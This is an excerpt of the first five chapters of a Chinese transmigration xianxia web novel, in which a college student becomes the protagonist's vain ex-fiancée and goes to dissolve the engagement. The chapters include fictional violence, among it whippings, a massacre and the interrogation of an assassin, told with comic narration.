《退婚龙傲天之前》 1. 第 1 章 [] 二月天,青瓦下细雨连珠,阴冷的风直往骨头里钻。 小饭馆里坐了五六桌客人,就着热气腾腾小铜炉谈论满月城近日的八卦。 “听说了吗?裴家的未婚妻要来了。” “裴家?你是说城东的裴家还是城北的裴家?” “城北的裴家,他家当年不是和那什么,十几年前被少乌宗长老全家带走的那个谁,那家姓什么来着?” “嘶——姓夏是吧?当初给她起名的师傅我认识,还和我说那个小女娃命中缺水,给她起了个三点水的名字。” “对对对,就是这个夏姑娘,当年两家夫人关系好,又是前后脚有孕,于是定了娃娃亲,谁敢想啊,一朝风云变化物是人非,裴家烂得像草根,夏家反倒是青云直上,傍上少乌宗半只脚踏进成仙路喽~” “你说这夏姑娘这么厉害,还回来满月城做什么?” 几杯黄酒下肚,众人聊得热火朝天,八卦完夏家姑娘的过往来历,又去八卦城东城北同姓裴的狗血戏码。 十几年前,满月城里提到裴家,只有城北裴家,不过几年时光,裴家内部分裂,从只此一家变成针锋相对的两家。 城北裴家斗不过城东裴家,后来更是吃了大亏,连祖宅都卖了出去抵债,当初被人见了就要喊一声的裴少爷,现在都沦落到在茶馆里做打杂伙计。 几人高谈论阔,全然没有注意到饭馆角落里,还坐着一个十七八岁的年轻姑娘。 姑娘一身墨蓝衣裙,长发尽数挽起,旋成两股束在脑后,攒着几朵琉璃海棠,红色流苏垂在鬓边,晃动时会发出微弱的敲枝打叶声。 她面前摆着古铜小炉,几碟蘸料搁在旁边,新鲜宰杀冲洗干净的肉食摆了小半桌,还有两篮鲜嫩可口的时蔬菌菇。 先下肉类,填满三天没吃饭的肚子,再下爽口的青菜清清肠胃,少女吃得心满意足,她留下一锭银子,撑伞离开小饭馆。 收碗的小二追了出来,隔着层层雨幕冲她大喊:“客官,我还没给你补钱呢!” 少女脚步一顿,又走了回来。 见谅,刚穿越,对修真界的物价还不太熟悉。 要问是怎么穿越的,穿越之后又需要做些什么,需得从前两天说起。 前两天的夏溪,还是个快快乐乐的大学生,享受着昏天黑地开空调盖棉被的美好暑假——直到朋友推给她一本万恶小说。 这本小说名为《问天一剑》,是一本非常古早且传统的男频升级流小说。 这本书世界设定为天、人、地三境,每境坐拥三大洲。 每洲都拥有不同势力和区域划分,它们彼此压制相互纠缠,属于我能打你你也能打我,若无绝对把握绝不轻易撕破脸的尴尬存在。 男主裴朝行,出生在地境东洲大荒国满月城,人还没足月,就和隔壁富户之女夏溪定了娃娃亲。 和所有退婚流主角一样,小说打开不到一章,裴朝行便被十年未见的未婚妻退婚。 因为被退婚,裴朝行彻底失去最后一点利用价值,愈发不被裴家待见。 为了向眼高手低喜新厌旧见异思迁的前·未婚妻复仇,他咬牙含血,断情绝爱,仅凭一把从烂坟里挖出来的剑,从人人可欺,一步一步爬到剑道第一,最终羽化登仙喜提he。 那么夏溪在这里面扮演了什么角色呢? 朋友推荐这本书时,嘻嘻哈哈地说:“里面有个角色和你同名同姓,戏份不多不少,你快点全文背熟,说不定哪天你就穿了呢!” ——同名同姓穿越的道理诚不欺我也。 就在夏溪连续几天熬夜看完这本千万字起步的小说后,她一觉睡醒,穿了。 成为那个开篇就扔掉男主眼高手低喜新厌旧见异思迁的虚荣未婚妻‘夏溪’。 剧情里,原主作为退婚男主的前未婚妻,下场自然不会好到哪里去。 【即使满身是血,即使狼狈地趴在地上,即使曾经爱不释手的本命剑被折断,夏溪仍是记忆中的高傲神情,充血双眼里满是对裴朝行的鄙夷不屑,仿佛他还是当年不被她放在眼里的满月城小伙计。 一旁的齐天符目瞪口呆,不敢相信自己的妻子曾与声名鹊起的裴朝行有过这样一段过往,他战战兢兢地走来,问:“裴大人,今日夏溪已败,依照你们之间的约定,你可随意处置她。” 裴朝行偏头去看齐天符,见识过自己的剑招之后,他再也没有初见时的高高在上,面对妻子被前未婚夫打得如此凄惨,他连一句辩解求情都没有。 这就是夏溪踹了他之后再找的无用男人。 她的眼光也就在这了。 裴朝行突然觉得心累,只道:“今日我已完成十年之约,前情种种便如过往云烟,今后你们二人好好生活便是。” 言罢,裴朝行收剑,头也不回地走了。】 这是剧情里原主和裴朝行的最后一面,等裴朝行再次听到她的名字,便是齐家遭魔修偷袭,齐家主重伤卧床,齐夫人被魔修掳走,受辱多月最终自尽而亡的消息。 真是标准的剧情推动角色。 在作者的笔下,原主踹了裴朝行不到一个月的时间,就和身份比他更高的人成婚,是个十足十的目光短浅的虚荣女配。 等夏溪穿来,才发现事实并非如此。 原主出身不错,又得长老师父宠爱,性格颇为娇纵,唯我独尊凭我喜好八个字在她身上表现得淋漓尽致。 一个月前,原主双亲进山采药,不慎坠落山崖而亡,她还没从悲伤中走出,师父又因故受伤,若不是灵丹妙药吊着,恐怕也一命呼呜。 为了给师父治病,原主不得不答应齐家少主的求婚,因为只有他手里才有能救师父的药。 原主接连被亲人离世打击,整个人浑浑噩噩地回到满月城,一心只想快点解除婚约,早日拿回母亲生前喜爱的玉佩。 日夜兼程披星戴月的赶路,即使是身为修士的原主也有点遭不住,在一个清晨意外离世。 夏溪就是这时穿了过来。 按照剧情,她此时应该在裴家,端坐高位,冷眼看裴家逼迫裴朝行下跪道歉,由此展开又长又水的剧情。 可意外离世不是原主本意,糊里糊涂的穿过来也不是夏溪自愿的。 只是看在原主宁愿熬夜猝死也要赶回满月城的份上,夏溪思考片刻,还是决定走个流程,先拿回原主母亲的玉佩再说。 城东裴家是满月城妇孺皆知的大户,夏溪不费吹灰之力,就找到了它的具体位置。 走近之前,她戴上了一顶帷帽遮挡面容。 裴家周围静悄悄的,四个门房前后左右站着,腰间别着粗木棍子。 夏溪绕了裴家一圈,发现不止正门,就连侧门偏门小门房都有人看守,严防死守如临大敌。 路过一处偏门时,两个背着药箱的人走了出来,身后还跟着两个家丁。 五感敏锐是修仙人标配,隔着细碎雨帘,他们之间的对话让夏溪听得一清二楚。 大夫甲:“他的手脚筋接上不久,伤筋动骨一百天,接下来的日子让他好好卧床休息,千万不要再剧烈运动。” 家丁乙:“知了知了,你们出去可不要……” 他没把话说完,可两位大夫都听明白他的意思,点头称是后离开了。 如果没猜错,他们口中刚接上手脚筋的人,正是不久前被接回城东裴家的裴朝行。 回满月城之前,原主曾写信给裴家,言明要商讨婚约之事。 商讨婚约,要么履行要么毁约,不管结果如何,都能从中捞上一笔。 裴家欢天喜地想把裴朝行接回来,后者当然不肯,他多次反抗,最终惹怒裴家家主,下令挑断了他的手脚筋。 如此一来,行动不便的裴朝行只能任由他们拿捏。 原著里写裴朝行是个‘五官清秀,有点小帅’的普通人,但谁都知道作者的笔,骗人的鬼。 能在男频文里称之为‘五官清秀,有点小帅’的主角,那必然是潇洒俊朗的超级大酷哥。 除了吃吃喝喝,夏溪最喜欢做的事就是欣赏各种类型的大美人,包括但不限于清俊、病弱、阳光、战损……哪怕性别物种各不相同,只要眼神对上,她全都喜欢! 一想到裴朝行手脚被伤,动作幅度稍微大点,缠着的绷带便会渗出点滴血迹……心,便沸腾起来了! 夏溪整理着装,还煞有介事地从芥子袋里拿出口脂,对着小琉璃镜补了补唇色,接着便雄赳赳气昂昂地朝裴家正门出发。 门房进去通报,再度折返时,面前便多了几个人。 为首的是个中年男人,穿着时下正热的上等绸缎,见到面色如霜的夏溪,气势自动降两分:“不知夏姑娘今日到,有失远迎,有失远迎啊!” 此人便是裴家现任家主裴长青。 裴长青是裴家的一支旁系,曾是裴家家主身边的得力干将,也是主张裴家内部分裂、抢占了裴家祖宅的狠人。 夏溪不打算和他废话,冷冷道:“进去吧,在门口讲话人多口杂。” 裴长青一噎。 得了书信后,裴家曾托人打听夏溪在少乌宗的行为处事,知道这是位天大地大我的事第三大的大小姐。 她最出名的事迹,便是当众调戏另一位天之骄子,被恼火的对方整得下不来台。 若换了旁人敢这么和裴长青说话的,早就拖下去赏了几个大嘴巴子。 但对方是少乌宗长老爱徒,修为不知几何,裴长青不敢生气,露出讨好笑容:“夏姑娘说的是,门口风大雨大,还是快快进来。” 裴家是个大宅子,想要到正厅,需要穿过好几扇门与小院。 在穿过其中一处院子时,夏溪敏锐察觉到有道视线扎在自己身上。 待她偏头去看,却什么也没看到。 仿佛那只是她的错觉。 几人来到一间宽敞气派的大堂之中,两旁摆放红木桌椅,墙上挂有水墨字画,陈设精致美观,处处彰显裴家是实打实的大户人家。 里面坐着不少人,男子皆是一身古代华服,女子则满头珠翠,金银珠宝琳琅满目地险些晃瞎夏溪的眼。 可真有钱。 女子中有位妇人,她见了夏溪,双眼便开始泛红:“小姐……” 当初夏氏一家三口被少乌宗长老接走,在夏家干活的人被全数遣散,其中就有不少去了裴家。 时间过去这么久,原主早就不记得这位妇人是谁,夏溪也不出声,静静等着下一句。 妇人久不得回应,泪珠也不知该掉还是不掉,求助地看向裴长青。 裴长青轻咳一声:“夏姑娘,这是你当初的奶娘,知道你要回来,说什么都要来看你一眼。” 有了这一句,妇人的眼泪唰得下来了:“我那么小的小姐,去了宗门里不知道要吃多少苦喲……” 其实也不苦啦,上有师父宠着,下有父母捧着,除了偶尔和师兄姐弟妹吵架被气哭之外,原主在少乌宗过得可开心啦。 夏溪下意识想要安慰几句,话到嘴边又住了口。 一个连吃过奶的原主都不记得的奶娘,现在为什么会出现在这里? 如果当初原主离开时真的离不开奶娘,宠爱她的父母一定会把奶娘带走,可她没被带走,说明这个奶娘对原主和夏家来说无关紧要。 她现在出现在裴家,是裴家想打感情牌。 咦惹,好恶心。 夏溪的语气更冷淡了:“你谁啊?说的什么话?宗门待我极好,哪里用去吃苦?还是说,你想凭着给过我几口奶就想当我第二个娘?” 奶娘剩下的泪和话梗在了喉咙里。 裴长青没想到夏溪是个如此混不吝的主,原先还想着靠奶娘拉近关系,现在倒好,说不定关系还退了。 他赶紧让人把奶娘带下去。 “夏姑娘,你这话怎么说的?”另一位老者语气不忿,“俗话说得好,一口奶百日娘, 2. 第 2 章 [] 大堂之中,裴家人尽数站了起来,裴子仁发挥君子风范,事发之时早已挡在夏溪面前。 他温和有礼地问道:“夏姑娘,你没事吧?” 当然没事。 她堂堂一个金丹三段的修士,不至于被一个练气偷袭给吓得魂飞魄散。 夏溪忽视他,张开便是一句极具挑衅的话:“怎么回事啊?刚才是多舌七叔公,现在又冒出一个背后偷袭者,裴家主,你就是这样管这个家的啊?” 小说是古早大长水文,又是熬夜通宵看完,除了和原主相关的剧情,能让夏溪记住的桥段着实不多。 她记得裴家偷梁换柱和裴朝行反杀裴家家主,却不记得原主这时说了什么。 想来也不会是什么好话,往心窝子戳就行了。 “如果你管不好裴家,就让裴朝行来吧,”她隔空点了点裴子仁,“身姿挺拔清秀如竹,想必也是一个未来可期的人才,若是他当裴家家主,我不介意在退婚之后帮他一把。” 混不吝的话让裴长青怒火中烧,裴子仁则一个没控制好表情,差点笑出了声。 其他裴家人听见这句话,脸上纷纷露出果然如此的表情。 早就听说这大小姐对长相好的人颇为优待,否则也不会做出当众调戏别人被整得下不来台这件事。 现在看她对裴子仁的态度……在场不少上了年纪还有点姿色的人都挺直腰背,并悄悄整理容姿。 夏溪听到,夏溪看到,夏溪冲他们露出礼貌微笑。 “咳咳!”被遗忘在旁边的裴朝行用力咳嗽几声,找回男主该有的面子:“裴长青你欺人太甚!我才是裴朝行,你们不仅抢我祖宅,竟然还想占我的名字和身份!” 话音刚落,一条长鞭自裴长青袖中甩出,狠狠甩在裴朝行后背,他闷痛一声,硬是不让自己叫出声。 夏溪眼神好,清楚看见长鞭上带着倒钩,抽回时还带出丝丝血肉。 这——她是有点恶趣味没错,但这种现场虐待到真·见血见肉绝对不在她的好感范围之内。 看着就有点想吐,更别说性玉大发。 裴长青余光瞥见面色不佳的夏溪,认定对方是觉得裴朝行晦气。 他厉声呵斥:“还不快点把这个孽畜拖下去!免得污了贵客的眼!” 两名侍从过来拉裴朝行,裴朝行拼命反抗,力气大得惊人,竟硬生生挣脱开束缚,朝着夏溪冲了过来! 夏溪条件反射地站起。 殊不知此举动让挡在面前的裴子仁误会,抬起一脚将裴朝行踢飞,力度之大能清楚听闻肋骨断裂的声音。 咔嚓。 像吃过的鸡脆骨被咬断。 裴朝行口中喷出鲜血,整个人如同断线纸鸢,接连撞翻几张桌椅,茶具碎片掉了一地之后才停了下来。 裴子仁转过身,正想出言宽慰夏溪几句,便见对方怔怔低头,看着自己的裙边。 刚才裴朝行喷出的鲜血太多,有几滴不慎溅到她的衣裙,将漂亮的织锦暗纹染上令人作呕的色彩。 裴子仁关切问道:“夏姑娘,你的衣裙脏了,可要去换一件?” 和原来世界不同,这里是强者为尊的世界,杀人越货、强取豪夺、屠你满门……许多在夏溪看来荒谬无比的事情,在这里都是合理存在的。 即使是刚踢断一个人肋骨的裴子仁,在他脸上也看不到丝毫后怕悔过的情绪。 他真心认为,比起裴朝行的肋骨被踢断,夏溪的裙子脏了是更严重的一件事。 知道自己穿越来修仙界后,夏溪早就做好了一定的心理准备—— 面对裴子仁的询问,她淡淡道:“行,我去去就回,希望等我回来之后,你们能给我一个合理的解释。” 言罢,眼神瞟向不远处趴在地上的裴朝行:“尤其是他。” 呃啊,心理准备还是下次再说吧,现在身体有点不舒服,先走了。 在侍女的簇拥下,夏溪头也不回地离开了。 夏溪一离开,大堂中气都不敢喘一声的众人纷纷缓过神来,七嘴八舌地讨论起刚才发生之事。 “夏姑娘绝对是生气了吧?她的裙子像宝蚕丝织出来的,看着价格不菲呐!” “这裴朝行怎么回事?看管他的人呢?我们好吃好喝地供他这么大,竟然做出这种事!” “裴家主,你可得好好管教,别到时候真养出一头白眼狼来!” …… 裴家人你一句我一句的,不知哪句戳到裴长青脆弱的心,他怒极,抬手又是一鞭子下去。 “啪!” “啪!” “啪!” 裴长青用了十成的力道,每一鞭下去都打得裴朝行皮开肉绽。 求生本能迫使他想逃,可每逃一次,带倒刺的长鞭就会深深扎进血肉,拖着他回来。 裴朝行本就手脚有伤,现在又被接连鞭打,尚未好全的伤势卷土重来,一时之间竟连眼皮都睁不开。 他全身被血水浸泡,皮肤几乎与血肉一分为二,浓浓的铁锈味散发出来,好几个离得近的裴家人都皱眉远离。 见他有气出没气进的模样,从头到尾都在旁观的裴子仁淡淡提醒:“家主,你若是真的将他打死了,待会夏姑娘回来,我们找谁向她赔罪?” 裴长青发泄一通,心中怒气不减,他走上前,用力踩住并狠狠碾压裴朝行的指骨:“来人,把地面擦一擦,别让血污冲撞了夏姑娘。” 裴家人尽数离开,只留下趴在地上的裴朝行。 几个侍从战战兢兢地上前,没人敢动裴朝行,就地将半桶水一泼,冰冷刺骨的水再次浸湿他的身体,些许血肉顺着水渍飘了出来。 …… 夏溪已经在房间里呆了将近半个时辰。 她知道许多人有‘第一次’情节,比如第一个恋人、第一封收到的情书、第一次吃到的某种食物……可她万万没想到,自己竟然因为第一次看见别人被虐待,而害怕到手在微微发抖。 每每闭眼,她都能看见裴长青的长鞭甩在裴朝行的后背,将他的后背抽得血肉模糊。 呕。 裴家主真不做人。 希望男主早点爆种反杀对方。 她深呼吸几口气,努力平复自己的心情,门外正巧传来侍从的声音:“夏大人,家主他请您过去。” 衣服早就换好了,剩下的时间不过是给裴家收拾裴朝行的一个借口。 夏溪不期望裴家会给裴朝行医治,可最起码把伤口遮掩了再给客人看吧。 抱着这样想法的她,在进入大堂后却彻底惊呆了—— 裴朝被两人压着,他赤/裸上身,细细小小的荆条用小绳捆着,一圈一圈地绑在他的腰背。 鲜血淋漓的伤口没经过任何处理,大喇喇地暴露在空气中,不少从荆条脱落的小刺扎进去,数量多到如同瓜瓤,光是看着便觉得极为疼痛难忍。 侍从被尽数屏退,大堂之中只有裴长青、裴子仁以及数位裴家人在场。 裴子仁仍然笑着:“夏姑娘,此人惊扰到你,朝行已让他给你负荆请罪了,你看这个处理结果可还行?” 夏溪不可置信地看着面前的裴家人。 她的脑子一片空白,口中却道:“刚才离开得匆忙,我只来得及拿筑丹灵液,婚书和玉佩都没拿,它们现在在哪?” 裴子仁贴心地送了过来:“我好生收着呐,就怕夏姑娘忘了。” 没人注意到,被压着的裴朝行头稍微抬高了一点。 夏溪仔细检查过一遍婚书和玉佩,确认没被掉包后,终是忍不住问了一句:“你们裴家就是这样给我道歉的?” 她的本意是问怎么不给裴朝行穿件衣服,但在裴长青听来却是另一种意思:弄脏我价格不菲的裙子找个人来负荆请罪就完事了?你们不会抠门到连我裙子的钱都不想赔吧? 赔罪可以,赔钱不行。 裴长青踹了裴朝行一脚:“还不快点跪下向夏姑娘赔罪!” 压着裴朝行侍从急忙松手,没了支撑点,裴朝行身形摇晃,始终没有如裴长青所愿跪下去。 湿透粘稠的头发里,一只眼睛倏然睁开,裴朝行说:“……不跪。” 裴长青更怒,继续狂踹裴朝行。 他的声音气若游丝,稍不留神就会听漏。 事情发展到现在,裴朝行爆种反杀裴长青的苗头仍未出现,这让夏溪有点焦躁。 算算时间,从她进到裴家已经接近一个时辰,换成现代时间都快两个时间了,怎么剧情还卡在给她道歉这里?说好的男主爆种呢? 难道真的是哪里出现了差错? 可自己明明没做什会引起蝴蝶风……不对,自己确实是做了一件事,那就是她进城后跑去吃了顿小火锅。 时间是人类研发出来且专门针对人类的东西,哪怕前期发生一丁点的改变,都会给结局造成无法估量的打击。 一想到吃火锅所花的时间都够裴朝行爆种反杀两次,夏溪内心就开始尖叫。 啊啊啊火锅你真是害人不浅(下次还吃)。 认真思考片刻,夏溪得出一个万金油答案:既然过去无法改 3. 第 3 章 [] 惊天大雷劈下来的那一瞬,夏溪腿都软了。 她是喜欢极端天气没错,但她只喜欢在安全有保障且有囤粮有网络的家里隔着窗户看而已! 什么?你问惊雷劈到头顶时为什么不躲? 拜托,她人都吓傻了脑子里一片空白要怎么躲啊? 苍天可鉴,日月明心,把剑递给裴朝行时,她的脑子里想得只有一句话:爆种没刀怎么行? 哦,她没刀,只有剑。 但剑也凑活。 夏溪原来计划着,先把剑给裴朝行,接着再找个机会灌他一嘴筑丹灵液推他一手,可没想到刚把佩剑递过去,对方就一点延迟都没有的直接爆种了。 此刻的满月城仍是漫天风雨,路上一个行人都没有。 裴家侍从皆被突然而至的惊雷吓到,有人选择闭门不出,但也有人急匆匆赶来,然后就会看见—— 被结界笼罩的熊熊火海之中,四肢扭曲的裴朝行提着一把剑,四处追赶着被困在结界里的裴家人。 裴家人早就没有了初见时的高高在上,像无头苍蝇似得躲避裴朝行的追杀。 裴朝行不停地砍瓜切菜、砍瓜切菜,随后一个不留神,让跑得最快的那个瓜蹿到夏溪面前。 裴子仁拼命怕打着突然出现的结界:“夏姑娘,快救救我!” 这道结界是裴朝行爆种时突然出现的,面积不大不小,正好将裴家人笼罩在内,把夏溪给隔了出去。 旁人不知道,但夏溪是知道的,这道结界其实是裴朝行的伴生结界。 每当有幼年体的大能现世,就会出现伴生结界保护他一段时间。 和护体金身不同,伴生结界无法移动,一旦大能离开结界,结界也会跟着消失。 另,结界遮风避雨,非常实用,换句话说,在场者只有夏溪一人暴露在狂风暴雨之中。 风吹雨淋的滋味并不好受,夏溪刚想去避雨,就被裴子仁追过来问,还没回答,裴朝行已经站在了对方身后。 他礼貌地问:“夏姑娘,你要救他吗?” 一开始看见有人死在自己面前,夏溪还很有人道精神的去吐了,等她吐到什么都吐不出来的时候,身体和精神居然就习惯了。 可恶,接受能力不要突然升级啊! 她麻木地摇头:“不救,我已经没有裙子可以脏了。” 上一条裙子正是因为裴朝行的吐血脏了,他一刀捅死裴子仁,不好意思道:“我会赔你的。” 看看,什么叫做男主! 没一句废话就把责任给担下来了,裴长青你就应该学学。 可惜裴长青已经被杀,再也学不了新知识了。 她试探性地问:“我的裙子很贵,你有钱赔我吗?” 裴朝行面色古怪:“……死人的东西你要吗?” “……刚死的吗?” “嗯。” “呃……你要不拿水洗洗再给我?” 裴朝行转身就走,没多会用湿帕子包着几件金银珠宝走过来,递给夏溪:“够吗?” 风声怒号,他身上的伤口没愈合,随着雨水的冲刷下像小溪似的涓涓细流。 “够了,”夏溪收了金银珠宝,又问:“我来退婚的,你知道刚被你宰了的人把我娘的玉佩放在哪里了吗?” 不曾想裴朝行摇头:“当初的玉佩被我藏了起来,他们没找到,想用别的玉佩来骗你是对的那块。” 好家伙,真是好家伙。 剧情里,原主是从裴长青处接过的玉佩之后,裴朝行才冒出来爆种杀人的,也就是说,原主极有可能到死都不知道,自己手里的‘母亲遗物’是假的。 裴长青裴子仁你们真是坏事做尽死不足惜! 她问裴朝行:“我赶时间,你能现在拿给我吗?” 结界里的人基本被杀光了,裴朝行自然是答应的。 他走出结界,结界瞬间消失,极为浓重的血腥味便扑倒夏溪脸上,后者没忍住,又去吐了。 可恶,原来看习惯了和闻习惯了是两码事。 见夏溪吐得天昏地暗,裴朝行这时才缓过神来,抬眼看去,遍地狼藉之中尸横遍野,歪七扭八的尸体躺了一地。 低头一瞧,握剑的手仍在微微颤抖。 血腥味不合时宜地冲进鼻子,裴朝行腹部绞痛,眼角溢出眼泪,随后整个人栽到在地。 等夏溪吐完回头,只发现地上一具疑似死亡的尸体。 她试着靠近,又被裴朝行身上浓重的血腥味给熏得倒退两步。 血尸是真的臭啊家人们。 环顾四周,还有不少裴家侍从在静观其变,她没有丝毫犹豫地挥手,让他们来搬运裴朝行。 …… 全身好像在被灼烧。 体内血液如同岩浆沸腾,五脏六腑四肢百骸肆意发痛,全身上下都在叫嚣着我好疼好疼好疼! 眼球阵阵刺痛,同时还伴随着尖锐不断地耳鸣,漫长的煎熬不知道持续多久,裴朝行喉咙干涩,无意识地呢喃着:“水……” 有人小心翼翼地撬开他的牙关,将温热液体源源不断地送入口中。 疼痛难忍的嗓子得到宽慰,裴朝行勉强将眼皮睁开一条缝,看见一人穿深蓝衣衫,五官模糊,却能清晰感受到对方的温柔。 来人单手捏住他的下巴,另一只手送来瓷勺,动作轻柔地将水再次送入他的口中。 混沌杂乱的记忆里,唯有夏溪是穿着一身墨蓝色衣裙登场的。 他努力睁开眼皮:“夏姑娘不必为我……” 微弱话音才出口,那人便惊喜地叫了出来:“哎呦我的老天呀!裴公子你可算是醒了!” 是一道极为粗狂的男子声色。 裴朝行:? 他惊骇地睁开眼睛,才看见眼前的人是个五大三粗的汉子,身上穿着的也不是蓝色衣裳,而是一种介于青蓝色的衣服。 汉子三步并作两步,急吼吼地出门去找人。 这是一间小房间,空气中有着淡淡药香,桌椅上摆着不少捣药用具,像是药堂里才有的病人房。 裴朝行的腿动不了,他双手撑着起身,动作幅度稍微大点,身上未完全愈合的伤口就裂开了。 他顾不上伤口,上半身靠在后面的床头,煞有介事地用手捋了捋头发。 这是一间小房间,空气中弥漫着淡淡的血腥味的 没一会,大汉带着夏溪过来了,刚进门,后者就闻到空气中淡淡的血腥味。 她停下脚步,靠在门口和裴朝行讲话:“感觉如何?” “感觉好多了,多谢夏姑娘出手相助。”裴朝行下不了床,隔着半间房子向夏溪道谢。 夏溪瞟一眼大汉,后者自觉离开了。 她反锁房门,又设下一道禁听结界,拉过一张椅子坐在门后后面:“不必多礼,裴家人又不是我替你杀的,你只需要告诉我我娘的玉佩在哪就行了。” 婚书没了,把玉佩换回来也算退婚。 裴朝行沉默半响,哑声问:“……你当时为何要把剑给我?” 他和夏溪不过是初次见面的陌生人,对方还被裴长青欺骗,错把裴子仁当成了自己,更别说之后发生的一切了。 想破脑袋,他都想不出来夏溪为何临时反水,出手帮助自己。 听到问题,夏溪差点就来了一句因为我看你骨骼惊奇,是万中无一的练剑奇才……脑子你给我停下! 事情发展到现在,剧情可以说是一辆急速飞行的火车分裂两半,一半在按既定道路走,一半已经被创飞碎裂。 裴朝行确实爆种反杀裴家人,却没和她定下十年之约。 有此事作前提,之后两人为敌的可能性也不大,那她胡说八道也是很正常的吧。 “你没听说吗?我对长得好看的人是有基础好感的,你长得比裴子仁裴长青都好看,我自然是偏向你的。” 夏溪说完,面露遗憾之色:“不过你别担心,我现在已经对你没好感了,因为你全身是伤,血味药味还熏得我眼睛疼。” 裴朝行:你礼貌吗? 扪心自问,这个借口其实站不住脚,奈何裴朝行听说过她的光荣事迹,知道这是个随心所欲的大小姐。 若是打破砂锅问到底,反而会惹得对方不高兴。 “玉佩放在我领居小六的灶台里,我帮他家砌灶台的时候顺手埋进去了。劳烦夏姑娘把他找过来,我和他说清楚就行了。” 夏溪很快就让人去把小六找过来。 听名字她还以为对方会是个孩子,结果来得却是和裴朝行差不多大的少年。 他穿着一身宽大的粗布麻衣,头发全都塞进棉麻帽子里,身形看着比受重伤的裴朝行还要瘦弱几分。 < 4. 第 4 章 [] 另一边。 夏溪面无表情,脚步却走得飞快。 太可怕了,真是太可怕了。 自己身为一个五感敏锐的金丹三段修士,竟没察觉出那个老婆婆是什么时候走到厨房门口的。 即使一个人走路再轻,都是会发出声音的。 可老婆婆没有。 这说明她要么是鬼,要么修为远在夏溪之上, 夏溪更偏向于后者。 不愧是你啊裴傲天,随便一个和你有关联的路人甲都恐怖如斯。 一想到有个如此恐怖的老婆婆在这里,想要逃离满月城的心情就抵达了巅峰。 回到药堂时,裴朝行正在喝药,见夏溪出现,吞咽速度加快了些。 夏溪刚要跨进药堂,背后冷风呼啸而至,脑子还没反应过来的时候,右手已经拔剑格挡下来。 “铮!” 锋利箭头擦过剑身,狠狠扎进地面数寸。 服侍药童被吓得大叫一声,连连后退数步,裴朝行也被惊得直起身子:“夏姑娘,你没事吧?” 夏溪反手将剑立于背后,面对空无一人的院子,她厉声质问:“什么人?胆敢偷袭你姑奶奶!” 利箭毫无疑问是奔着自己来的,但是是谁针对自己,她一时之间却想不到会是谁。 裴家? 不可能,如果他们真的想寻仇,早就应该打上门来了,再说了,杀裴长青和裴子仁的人又不是她。 院子中自然无人回应,夏溪身形一动,又是一根锋利羽箭飞了过来。 “啪嚓!” 利箭被长剑斩断,夏溪直奔西南方向而去,一个趴在屋顶上的黑衣人见状不妙,转身就想跑——泛着寒光的长剑悄然而至。 夏溪皮笑肉不笑地出现在他身后:“就你这三脚猫功夫也杀我?” 黑衣人自知逃不过,立刻举起双手投降。 他被压回了药堂院子。 裴朝行不知道从哪里摸出两根拐杖,一瘸一拐地走到门口坐在门槛上看夏溪审问黑衣人。 剑尖一挑,黑衣人的面罩脱落,露出一张毫无特色的脸,属于丢进人群都不会被注意到的类型。 “是谁派你来的?” 黑衣人不说话。 夏溪没有丝毫犹豫,一剑捅进他的大腿,暴力场面让刚从房里出来的药童眉头一皱,迈腾着小短腿跑了。 “啊啊啊我说我说,我也不知道出钱买你姓名的人是谁!”黑衣人哀嚎连连,“我是在沉银阁接的单,上面有人花大价钱买你的命!” 夏溪礼貌问道:“沉银阁是什么?” 好学生黑衣人鄙夷差生夏溪:“你身为地境修士,居然连沉银阁都不知道?” 夏溪毫不犹豫地捅他第二条腿,不耻下问:“请问我现在可以知道了吗?” 沉银阁是地境东大洲里最大的邪修宗门,他们除了修炼邪术,还受理和发布杀人任务,属于是中间商两头赚。 前几天,沉银阁发布了一则杀死少乌宗清月长老爱徒夏溪的任务。 完成任务不仅有高额灵石,还能获得一枚紫气丹药。 丹药和灵液不同,其威力凶猛,非金丹以上不能吃,金丹以下吃容易灵气运转不过来然后爆体而亡。 丹药分为赤橙紫蓝四个等级,每个等级之间又分为三气。 四个等级对应金丹之后的八个修士等级,分别是蓝(金丹、元婴)、紫(出窍、大乘)、橙(洞虚、分神)、赤(渡劫、成神)。 黑衣人所说的紫色丹药,对应服用者是出窍和大乘期修士。 由于根系原因,炼制丹药的人只能是水火系修士,然而并非所有水火系修士都能炼制丹药,因此能炼制丹药的水火系修士又被称之为炼丹师。 炼丹师的起步点是金丹期,只有修为是金丹期以上的水火系修士才能分神修炼丹药。 炼制丹药并非易事,不说造价昂贵的炼丹炉,光是炼丹所需的材料就不是普通修士出得起的。 换言之,想杀夏溪的人,不说是个出窍期修士,至少也是个家里非常有钱、挥霍得起紫气丹药的人。 听完黑衣人的转述,夏溪头都大了。 她完全不记得在哪里得罪过这样一个天龙人,气得对方不惜花钱花丹药来杀自己。 不管是她还是原主,都只是个小喽啰,大人何苦如此费心啊! 黑衣人见夏溪面色有所缓和,主动卖好:“夏姑娘,这个单子一经发布,接取数量那可是蹭蹭得往上涨,你要是不快点跑,估计连满月城都出不去呐!” 她来满月城退婚一事,在少乌宗不算秘密,随便找个人打听都能知道她人在这。 不行,得快点回少乌宗。 虽然原主在少乌宗名声不算好,但好歹也是少乌宗的人,没道理在自家地盘会被外人欺负的。 可夏溪还有一个疑问:“你是从哪里接沉银阁任务的?” 原主常年待在少乌宗势力范围,对外界的信息知道的确实不多。 黑衣人又不说话了。 夏溪再次提剑:“你两条腿都被我捅了,现在可只剩第三条腿了。” 黑衣人老老老实实道:“像沉银阁这样的大宗门,会在各处城池设有专属位置,像满月城这种小城,没有位置,只有每天更新的一块布告块。” 强烈的好奇心驱使着夏溪去满月城布告块看看,可求生本能又在让她快跑。 天人交战瞬息,最终还是好奇心占了上风。 她把双色鱼玉佩塞给裴朝行:“这个给你,我们就算退婚成功了。” 婚书被撕碎了,只交换玉佩也可以吧。 裴朝行拿着玉佩,盯着它仔细看了会,小心翼翼地收进贴身处,正想说点什么,余光却窥见夏溪的手在微微发抖。 他问她:“你接下来要怎么办?” 夏溪还要回客栈收拾行李,听见这句,不由得想起小六说裴朝行是个好人。 身为主角,裴朝行确实有正常三观,同时也会气运加身,不管怎样都能从逆境中活下来。 但他身边的人就不一定了。 不管是小说还是影视剧,大量的案例都在证明,只要是主角身边的,挨刀几率都比普通人要大得多。 虽然想不起来是哪个角色这么惨,但发生小六家的事后,夏溪还是决定远离裴朝行—— “裴朝行你很闲啊?我再次重审,那会递刀给你只是一时兴起,现在的我对你已经没有了任何兴趣。” 穿着墨蓝色衣裙的少女站在阳光下,单手持剑,神情 5. 第 5 章 [] 有五、六个人追杀自己,夏溪也许会焦虑到睡不着觉。 